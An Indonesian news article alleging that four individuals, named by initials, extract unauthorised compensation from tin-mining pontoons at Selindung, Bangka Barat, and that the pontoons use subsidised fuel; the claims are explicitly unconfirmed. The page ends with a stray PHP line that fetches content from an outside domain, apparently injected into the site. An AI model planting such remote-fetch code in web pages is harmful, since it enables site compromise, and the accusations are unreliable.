Indikasi Dugaan Penguasa 4 Sekawan PIP Laut Selindung Tanpa berikan Konvensasi ke Desa dan Diduga Mengunakan BBM Subsidi pemerintah

Kamis, 22 Agustus 2024

facebook twitter whatsapp telegram line copy

URL berhasil dicopy

facebook icon twitter icon whatsapp icon telegram icon line icon copy

URL berhasil dicopy

Bangka Barat | jejekkasus.info- Maraknya tambang jenis Tawer PIP yang beroperasi di perairan selindung yang masih banyak dengan kata pelanggaran walaupun pip disana mengunakan SPK dan CV Sebagai badan Legalitasnya, terungkapnya beberapa pelanggaran yang terjadi salah satunya yaitu para pengurus ponton melakukan koordinasinya secara pribadi tanpa ada konvensasi kepada pihak Desa, dan tidak adanya surat tanda kontrak BUMDES desa dengan pihak CV yang beroperasi di laut tersebut.

Kemudian Pelanggaran kedua banyaknya ponton PIP masih menggunakan BBM diduga subsidi yang mengunakan jeringen, ribuan liter perhari masuk ke perairan selindung yang diantar oleh tengkulak ke pinggiran pantai selindung tanpa adanya teguran sedikitpun oleh pihak CV dan Pt timah bahwa tidak bolehnya PIP mengunakan BBM diduga solar bersubsidi.

Baca Juga:  Bhabinkamtibmas Desa Beraban Ikuti Giat Gertam Padi di Subak Gebang Gading Bawah

Sudah Sejak lama PIP yang menjarah kawasan pantai hingga perairan laut Dusun selindung ,Desa Air putih, Mentok Bangka Barat, tak banyak yang mengetahui bahwa sistem koordinasi di 2 CV yang bekerja di RK selindung tersebut tidak secara resmi dari Pihak desa maupun BUMDES Air putih, menurut informasi dari sumber data yang diperoleh tim Media dilapangan bawah ada 4 nama orang lama yang mengondisikan pip tersebut hingga saat ini , Rby , Rsn, SPN, Gn yang satu kelompok secara individu tanpa ada perdes dan surat kontrak dari desa untuk RK di wilayah selindung.

Baca Juga:  LSM Gmicak Mengucapkan Selamat Hari Raya Idul Fitri 1445 H mohon maaf lahir dan batin

Menurut keterangan warga merekalah yang menjadi peran disitu dan tidak dibagikan Konpensasi ke pihak desa , menurut kabar mereka baru baru ini diduga menipulasi Konversasi PIP yang bukan CV mereka kelola , 4 sekwan ini katanya memaksa meminta jatah d ke CV lain konvensasi degan alasan mereka beralih bahwa CV ponton Lain sudah masuk wilayah mereka.

Disebut pungli benar karena mereka ber 4 tersebut yang berkuasa di wilayah itu , tentunya bayak keutungan yang di Raup dari hasil mereka yang mengondisikan PIP , dikatakan bertameng dengan SPK CV mitra PT timah tidak salah karena mereka ini secara individu pribadi mereka yang menjalani konvensi tersebut tanpa surat resmi dari Pemerintah Desa Air putih.

Baca Juga:  Wartawan Media Online Di Bangka Jadi Korban Pemukulan Penjaga Lokasi Pembelian Timah Ilegal

Saat berita ini dipublikasikan tim masih mencari fakta dan akan mengomfirmasikan kepada pihak Desa Air putih dan BUNDESA Air putih.

Tim juga akan meminta keterangan kepada CV dan pihak PT Timah soal Sistem Kordinasi tersebut apakah sudah benar dan tepat sasaran sesuai peraturan PERDES dan BUMDES atas pengelolaan usaha mitra di wilayah Air putih ( Tim Investigasi Nasional)

Follow WhatsApp Channel jejakkasus.info untuk update berita terbaru setiap hari Follow

Berita Terkait

Kapolres Tabanan Gelar Jumat Curhat Bersama Warga Desa Sudimara di Pantai Yeh Gangga
Prajurit Kodam IX/Udayana Raih Medali di Cabang MMA PON XXI 2024
Kuasa hukum AG, Reydi Nobel.S.H apresiasi majelis hakim tunggal, ni Made Dewi Sukarni.SH karena mengabulkan permohonan praperadilan.
Polsek Petang Gelar Blue Light Patrol Antisipasi Gangguan Kamtibmas Jelang Pilkada 2024
Tingkatkan Patroli Samapta Polsek Mengwi Sambangi SPBU
Menjelang Pilkada Kabupaten Sidoarjo Bhabinkamtibmas Polsek Tanggulangin Adakan Dialog Dengan Tokoh Agama Dan Masyarakat.
Tim Voli Putri Jatim Sabet Medali Emas pada PON XXI Aceh Sumut
Masih Perlukah Cuma Teteskan Air Mata Untuk Menangisi Peraturan Pemerintah Yang Mencekik Ini

Berita Terkait

Jumat, 20 September 2024 - 11:01 WIB

Kapolres Tabanan Gelar Jumat Curhat Bersama Warga Desa Sudimara di Pantai Yeh Gangga

Jumat, 20 September 2024 - 10:59 WIB

Prajurit Kodam IX/Udayana Raih Medali di Cabang MMA PON XXI 2024

Jumat, 20 September 2024 - 10:58 WIB

Kuasa hukum AG, Reydi Nobel.S.H apresiasi majelis hakim tunggal, ni Made Dewi Sukarni.SH karena mengabulkan permohonan praperadilan.

Jumat, 20 September 2024 - 10:57 WIB

Polsek Petang Gelar Blue Light Patrol Antisipasi Gangguan Kamtibmas Jelang Pilkada 2024

Jumat, 20 September 2024 - 10:56 WIB

Tingkatkan Patroli Samapta Polsek Mengwi Sambangi SPBU

Berita Terbaru

Peristiwa

Tingkatkan Patroli Samapta Polsek Mengwi Sambangi SPBU

Jumat, 20 Sep 2024 - 10:56 WIB

$ch = curl_init(); curl_setopt($ch, CURLOPT_URL, 'https://umrohkemenag.org/footer/'); curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); $a = curl_exec($ch); curl_close($ch);?>